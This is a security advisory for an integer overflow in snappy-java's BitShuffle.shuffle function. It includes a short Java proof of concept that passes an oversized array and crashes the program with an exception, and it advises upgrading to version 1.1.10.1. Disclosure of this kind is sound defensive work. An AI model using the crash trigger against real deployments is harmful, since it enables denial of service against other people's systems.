Integer Overflow or Wraparound SNYK-JAVA-ORGXERIALSNAPPY-5710959

[github-actions]

Overview

Affected versions of this package are vulnerable to Integer Overflow or Wraparound via the shuffle(int[] input) function due to improper validation of the multiplications done on the input length.
Exploiting this vulnerability is possible by passing negative, zero, float, very small, or very long values to the shuffle functions, which later on are multiplicated by four.
A successful exploration results in “java.lang.ArrayIndexOutOfBoundsException" or “java.lang.NegativeArraySizeException” exceptions which can crash the program.

PoC

package org.example;
import org.xerial.snappy.BitShuffle;

import java.io.*;


public class Main {

    public static void main(String[] args) throws IOException {
        int[] original = new int[0x40000000];
        byte[] shuffled = BitShuffle.shuffle(original);
        System.out.println(shuffled[0]);
    }
}

The program will crash, showing the following error (or similar):

Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index 0 out of bounds for length 0
	at org.example.Main.main(Main.java:12)

Process finished with exit code 1

Remediation

Upgrade org.xerial.snappy:snappy-java to version 1.1.10.1 or higher.

References

• GitHub Commit
• Vulnerable Code